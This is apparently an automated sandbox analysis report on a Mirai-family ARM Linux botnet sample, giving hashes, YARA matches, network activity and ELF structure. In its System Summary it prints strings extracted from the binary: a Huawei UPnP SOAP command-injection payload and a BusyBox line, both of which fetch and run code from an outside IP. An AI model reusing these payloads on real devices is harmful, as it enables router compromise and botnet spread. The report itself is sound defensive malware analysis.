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Linux Analysis Report
belks.arm6.elf

Overview

General Information

Sample name:	belks.arm6.elf
Analysis ID:	1544887
MD5:	ebe7684f8798f508adeeb0c1b59ffd6d
SHA1:	8e8a49870f9ed5b617eb84fa6d30745f1d79f1c5
SHA256:	a50b725c2ce11ab167cd2bccca12c2b16eca433c54e040b46e2cd7b154dd9a0e
Tags:	belkselfuser-NDA0E
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544887
Start date and time:	2024-10-29 20:59:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	belks.arm6.elf
Detection:	MAL
Classification:	mal80.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: belks.arm6.elf

Runtime Messages

Command:	/tmp/belks.arm6.elf
PID:	5421
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

belks.arm6.elf (PID: 5421, Parent: 5348, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/belks.arm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
belks.arm6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
belks.arm6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
belks.arm6.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x134a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13504:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13518:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1352c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13540:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13554:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13568:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1357c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13590:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13608:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1361c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13630:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x134a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13504:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13518:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1352c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13540:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13554:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13568:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1357c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13590:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13608:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1361c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13630:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: belks.arm6.elf PID: 5421	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: belks.arm6.elf PID: 5421	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xeca3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xecb7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeccb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xecdf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xecf3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeda7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedbb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedcf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xede3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xedf7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xee33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: belks.arm6.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: belks.arm6.elf

ReversingLabs: Detection: 68%

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: belks.arm6.elf	String found in binary or memory: http://2.58.113.110/bins/x86
Source: belks.arm6.elf	String found in binary or memory: http://2.58.113.110/zyxel.sh;
Source: belks.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: belks.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: belks.arm6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://2.58.113.110/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: belks.arm6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal80.troj.linELF@0/0@2/0

Source: /tmp/belks.arm6.elf (PID: 5421)

Queries kernel information via 'uname':

Jump to behavior

Source: belks.arm6.elf, 5421.1.00005582da7e3000.00005582da911000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: belks.arm6.elf, 5421.1.00007ffd5fdd6000.00007ffd5fdf7000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/belks.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/belks.arm6.elf
Source: belks.arm6.elf, 5421.1.00005582da7e3000.00005582da911000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: belks.arm6.elf, 5421.1.00007ffd5fdd6000.00007ffd5fdf7000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: belks.arm6.elf, 5421.1.00007ffd5fdd6000.00007ffd5fdf7000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: belks.arm6.elf, type: SAMPLE
Source: Yara match	File source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: belks.arm6.elf, type: SAMPLE
Source: Yara match	File source: 5421.1.00007fd550017000.00007fd55002c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: belks.arm6.elf PID: 5421, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
belks.arm6.elf	68%	ReversingLabs	Linux.Trojan.Mirai
belks.arm6.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.o

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://2.58.113.110/zyxel.sh;	belks.arm6.elf	false		unknown
http://2.58.113.110/bins/x86	belks.arm6.elf	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	belks.arm6.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	belks.arm6.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	e1x.ppc.elf	Get hash	malicious	Moobot	Browse
	zmap.arm.elf	Get hash	malicious	Mirai, Okiru	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	wriww68k.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse
	x86.elf	Get hash	malicious	Unknown	Browse
	zmap.x86_64.elf	Get hash	malicious	Okiru	Browse
	spc.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	belks.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	belks.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	belks.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	belks.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	kjsusa6.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	zmap.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	jew.arm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	x86_32.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	i686.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	nan.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	e1x.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	e1x.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	e1x.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	e1x.ppc.elf	Get hash	malicious	Moobot	Browse	185.125.190.26
	vkjqpc.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse	91.189.91.42

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.105520943990898
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	belks.arm6.elf
File size:	84'332 bytes
MD5:	ebe7684f8798f508adeeb0c1b59ffd6d
SHA1:	8e8a49870f9ed5b617eb84fa6d30745f1d79f1c5
SHA256:	a50b725c2ce11ab167cd2bccca12c2b16eca433c54e040b46e2cd7b154dd9a0e
SHA512:	b39afa6b828f7d1a28733ded6b775b86758c45bb48e7c016ae1d10a94625e4d1c6a658c14c7a38b18c60f8908383c2d9520bd414c45b60486ae166ff5189c359
SSDEEP:	1536:K0nJGnK3Dc7A6JlUVxCKYsmB7ilGluAlLxrgtG6+1Coxw6y57pZ59DhBcsfIYi9y:6nsD+A6lMx1Pu72G0AlLxroF+kJbhQf7
TLSH:	40830955B8818A11C5D413BAF92E118D332267E8E3DFB2179D205F243BCA92F0E7BE55
File Content Preview:	.ELF..............(.....T...4....G......4. ...(.....................<D..<D..............@D..@D..<D..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..G......<D....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	83852
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x133e0	0x0	0x6	AX	16
.fini	PROGBITS	0x1b490	0x13490	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x1b4a0	0x134a0	0xf9c	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x24440	0x14444	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x24444	0x14448	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x2444c	0x14450	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x244c0	0x144c4	0x258	0x0	0x3	WA	4
.bss	NOBITS	0x24718	0x1471c	0x25f0	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1471c	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1472c	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x1443c	0x1443c	6.1216	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14440	0x24440	0x2443c	0x2dc	0xa8c8	3.6665	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 21:00:24.595360041 CET	48202	443	192.168.2.13	185.125.190.26
Oct 29, 2024 21:00:55.571201086 CET	48202	443	192.168.2.13	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 21:00:14.673638105 CET	50903	53	192.168.2.13	8.8.8.8
Oct 29, 2024 21:00:14.673700094 CET	44203	53	192.168.2.13	8.8.8.8
Oct 29, 2024 21:00:14.680562019 CET	53	50903	8.8.8.8	192.168.2.13
Oct 29, 2024 21:00:14.680989027 CET	53	44203	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 21:00:14.673638105 CET	192.168.2.13	8.8.8.8	0x64a9	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 21:00:14.673700094 CET	192.168.2.13	8.8.8.8	0xad56	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 21:00:14.680562019 CET	8.8.8.8	192.168.2.13	0x64a9	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Oct 29, 2024 21:00:14.680562019 CET	8.8.8.8	192.168.2.13	0x64a9	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: belks.arm6.elf PID: 5421, Parent PID: 5348

General

Start time (UTC):	20:00:12
Start date (UTC):	29/10/2024
Path:	/tmp/belks.arm6.elf
Arguments:	/tmp/belks.arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
